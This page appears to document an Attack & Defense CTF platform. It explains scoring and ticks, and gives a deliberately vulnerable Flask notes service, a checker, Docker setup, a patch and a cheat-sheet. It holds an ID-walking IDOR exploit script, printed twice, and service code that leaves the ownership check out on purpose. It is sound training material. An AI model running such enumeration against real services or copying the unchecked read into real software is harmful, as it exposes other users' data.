Attack & Defense

Purpose & Philosophy

Anatomy of an A&D Challenge

How Scoring Works

Quick Start — Your First 10 Minutes

The glitch CLI

$ glitch targets
service: notepad
  10.100.1.1   nop.glitch.ad   (practice)
  10.100.3.1   team-03
  10.100.7.1   team-07

$ glitch exploit test exploit.py nop.glitch.ad
[+] flag: 7QF3K2M9ZP1A0BXR4TVE6YHJ8NDCWSL=
[+] test OK — 1 flag captured

$ glitch exploit throw exploit.py
[tick 142] 9 targets -> 7 flags submitted, 2 down

Offense Playbook — Stealing Flags

import sys, re, requests
host    = sys.argv[1]        # target vulnbox, e.g. 10.100.7.1
flag_id = sys.argv[2]        # the note owner the game server published this tick

# IDOR: notes have no ownership check, so walk IDs until the flag appears
for nid in range(1, 500):
    r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3)
    m = re.search(r"[A-Z0-9]{31}=", r.text)
    if m:
        print(m.group(0))    # anything printed is auto-submitted

Defense Playbook — Protecting Your Box

# 1) Real fix: enforce ownership in read()  (keeps the feature, kills the IDOR)
if n["owner"] != current_user():
    return ("forbidden", 403)
# then redeploy:  restart

# 2) Stop-gap while you code the fix -- drop a traversal payload the checker never sends:
$ glitch block add "../"

Strategy & Tactics

Vulnbox Command Cheat-Sheet

docker ps                         # which services am I running?
docker logs -f notepad            # live traffic + errors for one service
docker exec -it notepad sh        # shell inside a service container
ss -tlnp                          # which ports are listening
tcpdump -i any port 5000 -A       # sniff attacks hitting a service
grep -R flag /srv                 # check YOU are not leaking flags to disk
restart                           # rebuild + redeploy after patching
glitch block add "<signature>"    # firewall-drop a malicious pattern

One Tick, Start to Finish

Glossary

Vulnbox

The identical server each team runs and defends.

Service

One networked app on the vulnbox — a single challenge with its own score line.

Flag

A secret token matching [A-Z0-9]{31}=, planted inside a service. Submit stolen ones to score offense points.

Flag ID

A public hint published each tick telling attackers which object holds the current flag.

Tick

The game clock (typically 60–180 s). A new flag is planted every tick; flags stay valid for 5 ticks.

SLA

Service-Level Agreement — the uptime / functionality check. Fail any part and you score nothing that tick.

Checker

The game-server bot that plants and retrieves flags and tests functionality each tick.

Exploit

Your script that abuses a bug on a target to read its flag.

getflag

An exploit whose job is to retrieve the current flag from a target.

throw

Running an exploit against all targets every tick: glitch exploit throw.

NOP team

The non-playing practice box (nop.glitch.ad) — safe to test exploits on.

First blood

The first team to steal a given flag; early exploits are worth the most.

Methodology: Designing the Service (Challenge)

Methodology: Building the Environment

Network Layout

The Checker (SLA Bot)

# Called by the game server once per tick, per team.
# exit 0 = SLA OK, non-zero / exception = SLA DOWN.

def put_flag(host, flag, flag_id):
    # Store the flag using the service's real API
    r = requests.post(f"http://{host}:5000/note",
                      json={"owner": flag_id, "body": flag})
    assert r.status_code == 200

def get_flag(host, flag, flag_id):
    # Retrieve it back the intended (authorized) way
    r = requests.get(f"http://{host}:5000/note/{flag_id}",
                     headers=auth_as(flag_id))
    assert flag in r.text        # flag survived => service healthy

def check_functionality(host):
    # Prove unrelated features still work
    assert requests.get(f"http://{host}:5000/health").json()["ok"]

Full Tutorial: Build a Service End-to-End

from flask import Flask, request, jsonify
app = Flask(__name__)
NOTES = {}          # id -> {"owner":..., "body":...}  (the flag store)
_next = [1]

@app.post("/note")
def create():
    d = request.get_json()
    nid = _next[0]; _next[0] += 1
    NOTES[nid] = {"owner": d["owner"], "body": d["body"]}
    return jsonify(id=nid)

@app.get("/note/<int:nid>")
def read(nid):
    n = NOTES.get(nid)
    # !!! VULN: no check that request.user == n["owner"]  (IDOR)
    return jsonify(body=n["body"]) if n else ("", 404)

@app.get("/health")
def health(): return jsonify(ok=True)

app.run(host="0.0.0.0", port=5000)   # bind ALL interfaces

FROM python:3.12-slim
WORKDIR /srv
RUN pip install flask
COPY app.py .
EXPOSE 5000
CMD ["python", "app.py"]

services:
  notepad:
    build: .
    restart: always
    ports:
      - "5000:5000"

import sys, re, requests
host = sys.argv[1]                       # target vulnbox, e.g. 10.100.7.1
flag_id = sys.argv[2]                     # published by the game server this tick

# IDOR: walk note IDs and read bodies with no auth
for nid in range(1, 500):
    r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3)
    m = re.search(r"[A-Z0-9]{31}=", r.text)   # the flag format
    if m:
        print(m.group(0))                # stdout => submitted by glitch

# In read(nid): enforce ownership BEFORE returning the body.
if n["owner"] != current_user():
    return ("", 403)               # bug closed, checker still passes

Common Pitfalls (for Authors)

Pre-Deployment Checklist

• Service offers real, testable functionality beyond holding the flag.
• At least one clear, patchable vulnerability that leaks a flag.
• Flag store supports planting a new flag each tick and reading the last 5.
• Flags match [A-Z0-9]{31}= and are never logged or written to obvious files.
• Service binds to 0.0.0.0 and runs from a reproducible Docker image.
• Checker performs PUT, GET, and an independent functionality check.
• Intended exploit steals a fresh flag in well under one tick.
• Intended patch closes the bug while keeping every SLA check green.
• Everything smoke-tested against the NOP team (nop.glitch.ad) before launch.